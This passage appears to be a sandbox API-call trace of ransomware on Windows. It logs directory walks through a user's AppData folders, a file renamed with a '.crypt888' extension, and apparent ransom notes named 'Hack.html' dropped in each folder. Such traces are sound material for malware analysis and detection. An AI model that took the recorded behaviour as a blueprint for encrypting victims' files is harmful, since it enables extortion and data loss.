lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0078.244] GetFileType (hFile=0x174) returned 0x1 [0078.244] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb84) returned 1 [0078.244] GetFileType (hFile=0x174) returned 0x1 [0078.244] WriteFile (in: hFile=0x174, lpBuffer=0x279bef8*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x39ec18, lpOverlapped=0x0 | out: lpBuffer=0x279bef8*, lpNumberOfBytesWritten=0x39ec18*=0x350, lpOverlapped=0x0) returned 1 [0078.245] CloseHandle (hObject=0x174) returned 1 [0078.246] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml", nBufferLength=0x105, lpBuffer=0x39e7cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml", lpFilePart=0x0) returned 0x6b [0078.246] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e7cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml.crypt888", lpFilePart=0x0) returned 0x74 [0078.247] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec2c) returned 1 [0078.247] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml"), fInfoLevelId=0x0, lpFileInformation=0x39eca8 | out: lpFileInformation=0x39eca8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbfd57a60, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x350)) returned 1 [0078.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec28) returned 1 [0078.247] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml.crypt888")) returned 1 [0078.248] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\Hack.html", lpFilePart=0x0) returned 0x66 [0078.248] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebb0) returned 1 [0078.248] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0078.248] GetFileType (hFile=0x174) returned 0x1 [0078.439] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebac) returned 1 [0078.439] GetFileType (hFile=0x174) returned 0x1 [0078.440] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\Hack.html", lpFilePart=0x0) returned 0x5d [0078.440] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebe4) returned 1 [0078.440] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0078.448] GetFileType (hFile=0x174) returned 0x1 [0078.448] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe0) returned 1 [0078.448] GetFileType (hFile=0x174) returned 0x1 [0078.449] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0078.449] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services", lpFilePart=0x0) returned 0x53 [0078.449] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\", lpFilePart=0x0) returned 0x54 [0078.449] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a8a8 [0078.449] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.450] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0078.450] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0078.450] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0078.450] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0078.450] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0078.450] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services", lpFilePart=0x0) returned 0x53 [0078.450] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\", lpFilePart=0x0) returned 0x54 [0078.450] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a8a8 [0078.450] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.452] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0078.452] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0078.452] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0078.452] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0078.452] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\Hack.html", lpFilePart=0x0) returned 0x5d [0078.452] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebe4) returned 1 [0078.452] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\services\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0078.453] GetFileType (hFile=0x174) returned 0x1 [0078.453] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe0) returned 1 [0078.453] GetFileType (hFile=0x174) returned 0x1 [0078.454] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Hack.html", lpFilePart=0x0) returned 0x54 [0078.454] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0078.454] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0078.456] GetFileType (hFile=0x174) returned 0x1 [0078.456] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0078.456] GetFileType (hFile=0x174) returned 0x1 [0078.458] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Hack.html", lpFilePart=0x0) returned 0x42 [0078.458] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0078.458] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0078.458] GetFileType (hFile=0x174) returned 0x1 [0078.458] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0078.458] GetFileType (hFile=0x174) returned 0x1 [0078.459] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0078.459] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun", lpFilePart=0x0) returned 0x32 [0078.459] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\", lpFilePart=0x0) returned 0x33 [0078.459] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a8a8 [0078.460] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0078.461] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0078.461] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0078.461] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0078.461] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0078.461] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0078.461] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0078.461] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun", lpFilePart=0x0) returned 0x32 [0078.461] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0078.462] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0078.462] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0078.462] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0078.462] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0078.462] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0078.462] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0078.463] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0078.463] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0078.463] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0078.463] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0078.463] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0078.463] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0078.464] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0078.464] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0078.464] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0078.464] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0078.464] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0078.464] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0078.464] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0078.464] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0078.465] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0078.465] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0078.465] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0078.465] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0078.466] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.466] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.466] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.466] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0078.466] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0078.466] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0078.466] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0078.467] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0078.467] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.467] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.467] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.467] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0078.467] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0078.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0078.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0078.468] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebe4) returned 1 [0078.468] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0078.468] GetFileType (hFile=0x174) returned 0x1 [0078.468] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe0) returned 1 [0078.468] GetFileType (hFile=0x174) returned 0x1 [0078.469] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0078.470] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.470] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.471] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.471] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.471] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0078.471] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0078.471] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0078.471] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0078.471] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0078.471] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.472] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.472] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.472] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.472] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0078.472] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0078.472] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0078.472] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0078.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0078.473] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0078.473] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0078.474] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0078.474] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0078.474] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0078.474] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0078.474] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0078.474] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0078.474] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0078.475] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0078.475] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0078.475] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebb0) returned 1 [0078.475] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\security\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0078.475] GetFileType (hFile=0x174) returned 0x1 [0078.475] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebac) returned 1 [0078.475] GetFileType (hFile=0x174) returned 0x1 [0078.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0078.477] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0078.477] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0078.477] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0078.477] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0078.477] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0078.477] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0078.477] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0078.477] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0078.478] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0078.478] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0078.478] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0078.478] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0078.478] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0078.478] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0078.478] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0078.479] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0078.479] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0078.479] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0078.479] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0078.479] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0078.479] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0078.479] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0078.479] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0078.479] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0078.479] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0078.479] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb7c) returned 1 [0078.480] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\tmp\\si\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0078.480] GetFileType (hFile=0x174) returned 0x1 [0078.480] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb78) returned 1 [0078.480] GetFileType (hFile=0x174) returned 0x1 [0078.481] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebb0) returned 1 [0078.481] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\tmp\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0078.481] GetFileType (hFile=0x174) returned 0x1 [0078.481] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebac) returned 1 [0078.481] GetFileType (hFile=0x174) returned 0x1 [0078.483] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebe4) returned 1 [0078.483] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, 